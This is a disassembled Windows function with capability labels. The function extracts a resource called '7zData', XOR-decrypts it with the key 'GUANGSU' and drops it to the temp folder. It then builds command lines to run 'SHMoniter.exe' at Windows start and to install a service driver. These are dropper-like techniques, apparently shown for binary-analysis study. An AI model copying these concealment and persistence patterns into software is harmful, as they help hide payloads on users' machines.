Function at 0x40a460
Capabilities:
Check if file exists
Delete file
Extract resource via kernel32 functions
Get common file path
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x455b6c
mov eax, dword fs:[0]
push eax
sub esp, 0x9a0
mov eax, dword [0x464380]
xor eax, esp
mov dword [esp + 0x99c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x464380]
xor eax, esp
push eax
lea eax, [esp + 0x9b4]
mov dword fs:[0], eax
mov esi, dword [esp + 0x9c8]
mov ebp, dword [esp + 0x9c4]
xor ebx, ebx
push 0x206
lea eax, [esp + 0x92]
push ebx
push eax
mov dword [esp + 0x20], esi
mov word [esp + 0x98], bx
call fcn.00413010
push 0x206
lea ecx, [esp + 0x7ba]
push ebx
push ecx
mov word [esp + 0x7c0], bx
call fcn.00413010
lea edx, [esp + 0x7c0]
add esp, 0x18
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, bx
jne 0x40a4f3
lea edx, [esp + 0x8c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x45783c
push str.7zData
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, ebx
je 0x40aa32
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push ebp
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
lea eax, [esp + 0x8c]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x40a555
mov ecx, dword [str.my7zData.7z]
mov edx, dword [0x457818]
mov dword [eax], ecx
mov ecx, dword [0x45781c]
mov dword [eax + 4], edx
mov edx, dword [0x457820]
mov dword [eax + 8], ecx
mov ecx, dword [0x457824]
mov dword [eax + 0xc], edx
mov edx, dword [0x457828]
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], edx
lea eax, [esp + 0x8c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40a5b8
lea ecx, [esp + 0x8c]
push ecx
call fcn.0040b1c0
add esp, 4
xor eax, eax
xor esi, esi
cmp ebp, ebx
jbe 0x40a5da
mov dl, byte [eax + str.GUANGSU]
xor byte [esi + edi], dl
add eax, 1
cmp eax, 7
jl 0x40a5d3
xor eax, eax
add esi, 1
cmp esi, ebp
jb 0x40a5c0
push ebx
push 0x80
push 1
push ebx
push 1
push 0x40000000
lea eax, [esp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40a619
push ebx
lea ecx, [esp + 0x1c]
push ecx
push ebp
push edi
push esi
mov dword [esp + 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x103
lea edx, [esp + 0x299]
push ebx
push edx
mov byte [esp + 0x2a0], bl
call fcn.00413010
lea eax, [esp + 0x2a0]
push eax
lea ecx, [esp + 0x9c]
push ecx
call fcn.0040ad70
add esp, 0x14
call fcn.0040a3e0
mov ecx, eax
call fcn.004074e0
push fcn.0042c4f0
lea edx, [esp + 0x298]
push edx
lea eax, [esp + 0x7b0]
push eax
call fcn.00406b70
push 0x206
lea ecx, [esp + 0x5b2]
push ebx
push ecx
mov word [esp + 0x5b8], bx
call fcn.00413010
push 0x206
lea edx, [esp + 0x3b6]
push ebx
push edx
mov word [esp + 0x3bc], bx
call fcn.00413010
mov ebp, dword [esp + 0x38]
mov eax, ebp
add esp, 0x24
mov dword [esp + 0x6c], 7
mov dword [esp + 0x68], ebx
mov word [esp + 0x58], bx
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x40a6c4
sub eax, ecx
sar eax, 1
push eax
push ebp
lea ecx, [esp + 0x5c]
call fcn.00408350
push 0xa
push str.1.0.1.0930
lea ecx, [esp + 0x5c]
mov dword [esp + 0x9c4], ebx
call fcn.00408250
push 1
push 0x457494
lea ecx, [esp + 0x5c]
call fcn.00408250
push 0xa
push 0x4577dc
lea ecx, [esp + 0x5c]
call fcn.00408250
push 1
push 0x4577d8
lea ecx, [esp + 0x24]
mov dword [esp + 0x3c], 7
mov dword [esp + 0x38], ebx
mov word [esp + 0x28], bx
call fcn.00408350
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x9c8], 1
call fcn.00408140
push 2
push 0x4577d0
lea ecx, [esp + 0x24]
call fcn.00408250
call fcn.0040a3e0
mov ecx, eax
call fcn.00407460
mov esi, eax
call fcn.0040a3e0
mov ecx, eax
call fcn.00407480
mov ecx, esi
lea edx, [ecx + 2]
mov edi, edi
mov di, word [ecx]
add ecx, 2
cmp di, bx
jne 0x40a780
sub ecx, edx
sar ecx, 1
xor edx, edx
movzx edi, word [edx + str.InstallSpreadOperate]
mov word [esp + edx + 0x5a0], di
add edx, 2
cmp di, bx
jne 0x40a791
cmp ecx, ebx
jne 0x40a7cc
push eax
lea ecx, [esp + 0x5a4]
push ecx
lea edx, [esp + 0x3a0]
push 0x457798
push edx
call fcn.00413afd
add esp, 0x10
jmp 0x40a7eb
push esi
push eax
lea eax, [esp + 0x5a8]
push eax
lea ecx, [esp + 0x3a4]
push str._s__s__s
push ecx
call fcn.00413afd
add esp, 0x14
lea eax, [esp + 0x398]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40a7f5
sub eax, edx
sar eax, 1
push eax
lea edx, [esp + 0x39c]
push edx
lea ecx, [esp + 0x24]
call fcn.00408250
mov eax, dword [esp + 0x20]
mov esi, 8
cmp dword [esp + 0x34], esi
jae 0x40a829
lea eax, [esp + 0x20]
push eax
call fcn.0040b390
mov edi, 7
mov eax, ebp
add esp, 4
mov dword [esp + 0x50], edi
mov dword [esp + 0x4c], ebx
mov word [esp + 0x3c], bx
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40a850
sub eax, edx
sar eax, 1
push eax
push ebp
lea ecx, [esp + 0x40]
call fcn.00408350
push 0xa
push str.1.0.1.0930
lea ecx, [esp + 0x40]
mov byte [esp + 0x9c4], 2
call fcn.00408250
push 1
push 0x457494
lea ecx, [esp + 0x40]
call fcn.00408250
push 0xd
push str.SHMoniter.exe
lea ecx, [esp + 0x40]
call fcn.00408250
push 1
push 0x4577d8
lea ecx, [esp + 0x24]
call fcn.00408350
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x28]
call fcn.00408140
push 0x13
push str.__RunByWindowsStart
lea ecx, [esp + 0x24]
call fcn.00408250
cmp dword [esp + 0x34], esi
mov eax, dword [esp + 0x20]
jae 0x40a8e1
lea eax, [esp + 0x20]
push eax
call fcn.0040b390
add esp, 4
call fcn.0040a3e0
mov ecx, eax
call fcn.00407160
test eax, eax
je 0x40a9d1
mov eax, ebp
mov dword [esp + 0x88], edi
mov dword [esp + 0x84], ebx
mov word [esp + 0x74], bx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x40a916
sub eax, edx
sar eax, 1
push eax
push ebp
lea ecx, [esp + 0x78]
call fcn.00408350
push 0xa
push str.1.0.1.0930
lea ecx, [esp + 0x78]
mov byte [esp + 0x9c4], 3
call fcn.00408250
push 1
push 0x457494
lea ecx, [esp + 0x78]
call fcn.00408250
push 0xa
push 0x4577dc
lea ecx, [esp + 0x78]
call fcn.00408250
push 1
push 0x4577d8
lea ecx, [esp + 0x24]
call fcn.00408350
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x78]
push ecx
lea ecx, [esp + 0x28]
call fcn.00408140
push 0x16
push str.__InstallServiceDriver
lea ecx, [esp + 0x24]
call fcn.00408250
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x34], esi
mov eax, dword [esp + 0x20]
jae 0x40a9b2
lea eax, [esp + 0x20]
push eax
call fcn.0040b390
add esp, 4
cmp dword [esp + 0x88], esi
jb 0x40a9d1
mov edx, dword [esp + 0x74]
push edx
call fcn.004134ee
add esp, 4
lea eax, [esp + 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [esp + 0x50], esi
jb 0x40a9f2
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.004134ee
add esp, 4
cmp dword [esp + 0x34], esi
mov dword [esp + 0x50], edi
mov dword [esp + 0x4c], ebx
mov word [esp + 0x3c], bx
jb 0x40aa12
mov edx, dword [esp + 0x20]
push edx
call fcn.004134ee
add esp, 4
cmp dword [esp + 0x6c], esi
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], ebx
mov word [esp + 0x20], bx
jb 0x40aa32
mov eax, dword [esp + 0x58]
push eax
call fcn.004134ee
add esp, 4
mov ecx, dword [esp + 0x9b4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x99c]
xor ecx, esp
call fcn.00412ff5
add esp, 0x9ac
ret 8